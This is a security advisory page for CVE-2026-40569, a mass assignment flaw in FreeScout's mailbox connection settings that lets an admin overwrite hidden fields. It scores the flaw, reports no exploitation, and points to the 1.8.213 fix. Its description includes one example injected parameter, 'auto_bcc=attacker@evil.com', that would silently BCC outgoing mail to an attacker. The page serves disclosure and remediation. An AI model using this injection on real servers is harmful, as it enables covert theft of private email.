VulnerabilityPublished 21 Apr 2026

CVE-2026-40569: freescout · Improper Access Control

Affects freescoutSource CVE Database V5

Compare

Not known to be exploited · CVSS 9.0 Critical : upgrade to 1.8.213 as a priority.

Data as of 29 Oct 2026, 19:04 UTC

CVSS 3.1 base score

9.0Critical

How severe the flaw is on the 0–10 CVSS scale.

Contested

Critical score, yet low EPSS after six months

EPSS: 0.2% chance of exploitation in 30 days – higher than 22% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.8.213

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L

Attack Vector: Network
Attack Complexity: Low
Privileges Required: High
User Interaction: None
Scope: Changed
Confidentiality: High
Integrity: High
Availability: Low

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: High: The attacker is authorized with (i.e., requires) privileges that provide significant (e.g., administrative) control over the vulnerable component that could affect component-wide settings and files.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 21 Apr 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade freescout and freescout-help-desk/freescout to 1.8.213.

Affected software

Product	Affected	Fixed in
freescout-help-deskfreescout	Affected <1.8.213	Fixed in 1.8.213
GitHubfreescout-help-desk/freescout`pkg:github/freescout-help-desk/freescout`Other threats	Affected <1.8.213	Fixed in 1.8.213

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

Version 1.8.213 of FreeScout fixes this vulnerability by properly restricting mass assignment in mailbox connection settings endpoints. Users should upgrade to version 1.8.213 or later to remediate this issue. Since this is a self-hosted product, administrators must apply the update manually. Patch status is not explicitly stated in the vendor advisory content but the description confirms the fix is included in version 1.8.213. Until upgraded, restrict admin access to trusted users only.

Description

FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a mass assignment vulnerability in the mailbox connection settings endpoints of FreeScout (`connectionIncomingSave()` at `app/Http/Controllers/MailboxesController.php:468` and `connectionOutgoingSave()` at line 398). Both methods pass `$request->all()` directly to `$mailbox->fill()` without any field allowlisting, allowing an authenticated admin to overwrite any of the 32 fields in the Mailbox model's `$fillable` array -- including security-critical fields that do not belong to the connection settings form, such as `auto_bcc`, `out_server`, `out_password`, `signature`, `auto_reply_enabled`, and `auto_reply_message`. Validation in `connectionIncomingSave()` is entirely commented out, and the validator in `connectionOutgoingSave()` only checks value formats for SMTP fields without stripping extra parameters. An authenticated admin user can exploit this by appending hidden parameters (e.g., `auto_bcc=attacker@evil.com`) to a legitimate connection settings save request. Because the `auto_bcc` field is not displayed on the connection settings form (it only appears on the general mailbox settings page), the injection is invisible to other administrators reviewing connection settings. Once set, every outgoing email from the affected mailbox is silently BCC'd to the attacker via the `SendReplyToCustomer` job. The same mechanism allows redirecting outgoing SMTP through an attacker-controlled server, injecting tracking pixels or phishing links into email signatures, and enabling attacker-crafted auto-replies -- all from a single HTTP request. This is particularly dangerous in multi-admin environments where one admin can silently surveil mailboxes managed by others, and when an admin session is compromised via a separate vulnerability (e.g., XSS), the attacker gains persistent email exfiltration that survives session expiry. Version 1.8.213 fixes the issue.

Impact

An authenticated admin can silently exfiltrate outgoing emails by injecting an `auto_bcc` address, redirect outgoing SMTP traffic through attacker-controlled servers, and manipulate email signatures and auto-replies. This compromises confidentiality and integrity of email communications. The vulnerability enables persistent unauthorized access and surveillance of mailbox communications, especially in environments with multiple administrators or compromised admin sessions. The CVSS score of 9.0 reflects critical impact with high confidentiality and integrity loss and low attack complexity.

CWE-284Improper Access Control (opens in a new tab)
Pillar weaknessCWE Top 25 (2025): #19OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
MITRE discourages mapping vulnerabilities to this broad entry; the root cause is usually a more specific weakness.
Architecture and Design · Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Architecture and Design · Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
OWASP Cheat Sheets
Docker Security (opens in a new tab)
Third Party Javascript Management (opens in a new tab)
Virtual Patching (opens in a new tab)
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V1.4.4 (opens in a new tab)
V1.4.5 (opens in a new tab)
V1.10.1 (opens in a new tab)
Attack patterns
Embedding Scripts within Scripts (opens in a new tab)
Modification of Windows Service Configuration (opens in a new tab)
Malicious Root Certificate (opens in a new tab)
Intent Spoof (opens in a new tab)
WebView Exposure (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-915Improperly Controlled Modification of Dynamically-Determined Object Attributes (opens in a new tab)
Base weaknessOWASP Top 10 A08:2025: Software or Data Integrity Failures (opens in a new tab)
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
Implementation
If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
Architecture and Design · Implementation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Implementation · Input Validation
For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
OWASP Cheat Sheets
Mass Assignment (opens in a new tab)
Software Supply Chain Security (opens in a new tab)
Infrastructure as Code (opens in a new tab)
OWASP ASVS 4.0.3
V5.1.2 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

Community reviews

Loading reviews…

Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 21 Apr 2026, 17:32 UTC

WeaknessesCWE-284, CWE-915

Technical details

References

Community reviews

Related threats